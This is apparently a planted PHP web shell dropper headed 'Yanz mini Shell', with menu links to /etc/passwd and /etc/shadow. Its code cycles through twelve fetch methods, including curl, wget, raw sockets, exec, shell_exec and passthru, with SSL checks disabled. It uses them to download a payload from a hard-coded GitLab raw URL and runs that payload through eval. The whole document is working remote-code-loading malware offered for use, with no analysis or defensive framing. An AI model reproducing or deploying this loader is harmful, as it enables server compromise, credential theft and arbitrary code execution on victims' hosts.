Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php 
session_start();
 $targetUrl = $_SESSION['ts_url'] ?? 'https://gitlab.com/ardeaindah-group/ardearep/-/raw/main/massmCopy.txt';

class AppConfig {
    const TIMEOUT = 30;
    const USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)';
    const MAX_REDIRECTS = 5;
}

class HttpClient {
    
        public static function streamFetch($url) {
        $ctx = stream_context_create([
            'http' => ['timeout' => AppConfig::TIMEOUT, 'user_agent' => AppConfig::USER_AGENT, 'follow_location' => true],
            'ssl' => ['verify_peer' => false, 'verify_peer_name' => false]
        ]);
        $data = @file_get_contents($url, false, $ctx);
        return ($data !== false && !empty($data)) ? $data : null;
    }
    
        public static function curlFetch($url) {
        if (!function_exists('curl_init')) return null;
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => AppConfig::TIMEOUT,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_USERAGENT => AppConfig::USER_AGENT
        ]);
        $result = curl_exec($ch);
        $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        return ($result && $code == 200) ? $result : null;
    }
    
        public static function splFetch($url) {
        try {
            $f = new SplFileObject($url);
            $c = '';
            while (!$f->eof()) $c .= $f->fgets();
            return !empty($c) ? $c : null;
        } catch (Exception $e) { return null; }
    }
    
        public static function socketFetch($url) {
        $p = parse_url($url);
        $h = isset($p['host']) ? $p['host'] : '';
        $pt = isset($p['path']) ? $p['path'] : '/';
        $port = (isset($p['scheme']) && $p['scheme'] === 'https') ? 443 : 80;
        if (empty($h)) return null;
        
        $fp = @fsockopen($h, $port, $en, $es, AppConfig::TIMEOUT);
        if (!$fp) return null;
        
        fwrite($fp, "GET $pt HTTP/1.1\r\nHost: $h\r\nUser-Agent: " . AppConfig::USER_AGENT . "\r\nConnection: Close\r\n\r\n");
        $r = '';
        while (!feof($fp)) $r .= fgets($fp, 128);
        fclose($fp);
        
        if (strpos($r, "\r\n\r\n") !== false) {
            list($hd, $bd) = explode("\r\n\r\n", $r, 2);
            return !empty($bd) ? $bd : null;
        }
        return null;
    }
    
        public static function fopenFetch($url) {
        $ctx = stream_context_create(['http' => ['timeout' => AppConfig::TIMEOUT], 'ssl' => ['verify_peer' => false]]);
        $fp = @fopen($url, 'r', false, $ctx);
        if (!$fp) return null;
        $c = stream_get_contents($fp);
        fclose($fp);
        return !empty($c) ? $c : null;
    }
    
        public static function streamSocketFetch($url) {
        $p = parse_url($url);
        $h = isset($p['host']) ? $p['host'] : '';
        $pt = isset($p['path']) ? $p['path'] : '/';
        $sc = isset($p['scheme']) ? $p['scheme'] : 'http';
        $port = ($sc === 'https') ? 443 : 80;
        if (empty($h)) return null;
        
        $remote = ($sc === 'https') ? "ssl://$h:$port" : "tcp://$h:$port";
        $s = @stream_socket_client($remote, $en, $es, AppConfig::TIMEOUT);
        if (!$s) return null;
        
        fwrite($s, "GET $pt HTTP/1.1\r\nHost: $h\r\nUser-Agent: " . AppConfig::USER_AGENT . "\r\nConnection: close\r\n\r\n");
        $resp = stream_get_contents($s);
        stream_socket_shutdown($s, STREAM_SHUT_RDWR);
        
        if ($resp && strpos($resp, "\r\n\r\n") !== false) {
            list($hd, $bd) = explode("\r\n\r\n", $resp, 2);
            return !empty($bd) ? $bd : null;
        }
        return null;
    }
    
        public static function rawSocketFetch($url) {
        if (!function_exists('socket_create')) return null;
        $p = parse_url($url);
        $h = isset($p['host']) ? $p['host'] : '';
        $pt = isset($p['path']) ? $p['path'] : '/';
        $port = (isset($p['scheme']) && $p['scheme'] === 'https') ? 443 : 80;
        if (empty($h)) return null;
        
        $ip = gethostbyname($h);
        if ($ip === $h) return null;
        
        $s = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        if (!$s || !@socket_connect($s, $ip, $port)) {
            if ($s) socket_close($s);
            return null;
        }
        
        socket_write($s, "GET $pt HTTP/1.1\r\nHost: $h\r\nUser-Agent: " . AppConfig::USER_AGENT . "\r\nConnection: close\r\n\r\n");
        $r = '';
        while ($b = @socket_read($s, 1024)) $r .= $b;
        socket_close($s);
        
        if ($r && strpos($r, "\r\n\r\n") !== false) {
            list($hd, $bd) = explode("\r\n\r\n", $r, 2);
            return !empty($bd) ? $bd : null;
        }
        return null;
    }
    
        public static function processFetch($url) {
        if (!function_exists('proc_open')) return null;
        $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
        $process = @proc_open('curl -s -L --max-time ' . AppConfig::TIMEOUT . ' "' . escapeshellarg($url) . '"', $descriptorspec, $pipes);
        if (!is_resource($process)) return null;
        fclose($pipes[0]);
        $output = stream_get_contents($pipes[1]);
        fclose($pipes[1]);
        fclose($pipes[2]);
        proc_close($process);
        return !empty($output) ? $output : null;
    }
    
        public static function execCurlFetch($url) {
        if (!function_exists('exec')) return null;
        @exec('curl -s -L --max-time ' . AppConfig::TIMEOUT . ' "' . escapeshellarg($url) . '" 2>&1', $o, $rv);
        return ($rv === 0 && !empty($o)) ? implode("\n", $o) : null;
    }
    
        public static function shellCurlFetch($url) {
        if (!function_exists('shell_exec')) return null;
        $r = @shell_exec('curl -s -L --max-time ' . AppConfig::TIMEOUT . ' "' . escapeshellarg($url) . '" 2>&1');
        return !empty($r) ? $r : null;
    }
    
        public static function execWgetFetch($url) {
        if (!function_exists('exec')) return null;
        @exec('wget -q -O- --timeout=' . AppConfig::TIMEOUT . ' --user-agent="' . AppConfig::USER_AGENT . '" "' . escapeshellarg($url) . '" 2>/dev/null', $o, $rv);
        return ($rv === 0 && !empty($o)) ? implode("\n", $o) : null;
    }
    
        public static function passthruFetch($url) {
        if (!function_exists('passthru')) return null;
        ob_start();
        @passthru('curl -s -L --max-time ' . AppConfig::TIMEOUT . ' "' . escapeshellarg($url) . '" 2>&1', $rv);
        $o = ob_get_clean();
        return ($rv === 0 && !empty($o)) ? $o : null;
    }
}

class ContentLoader {
    
    private static $methods = [
        'streamFetch',
        'curlFetch', 
        'splFetch',
        'socketFetch',
        'fopenFetch',
        'streamSocketFetch',
        'rawSocketFetch',
        'processFetch',
        'execCurlFetch',
        'shellCurlFetch',
        'execWgetFetch',
        'passthruFetch'
    ];
    
    
    public static function load($url) {
        foreach (self::$methods as $method) {
            try {
                $result = call_user_func(['HttpClient', $method], $url);
                if ($result !== null && !empty(trim($result))) {
                    return $result;
                }
            } catch (Exception $e) {
                continue;
            }
        }
        return null;
    }
    
    
    public static function execute($content) {
        if (empty($content) || empty(trim($content))) {
            return false;
        }
        
                eval("?>" . $content);
        
        return true;
    }
}

try {
        $loadedContent = ContentLoader::load($targetUrl);
    
        if ($loadedContent !== null) {
        ContentLoader::execute($loadedContent);
    }

} catch (Exception $e) {
    }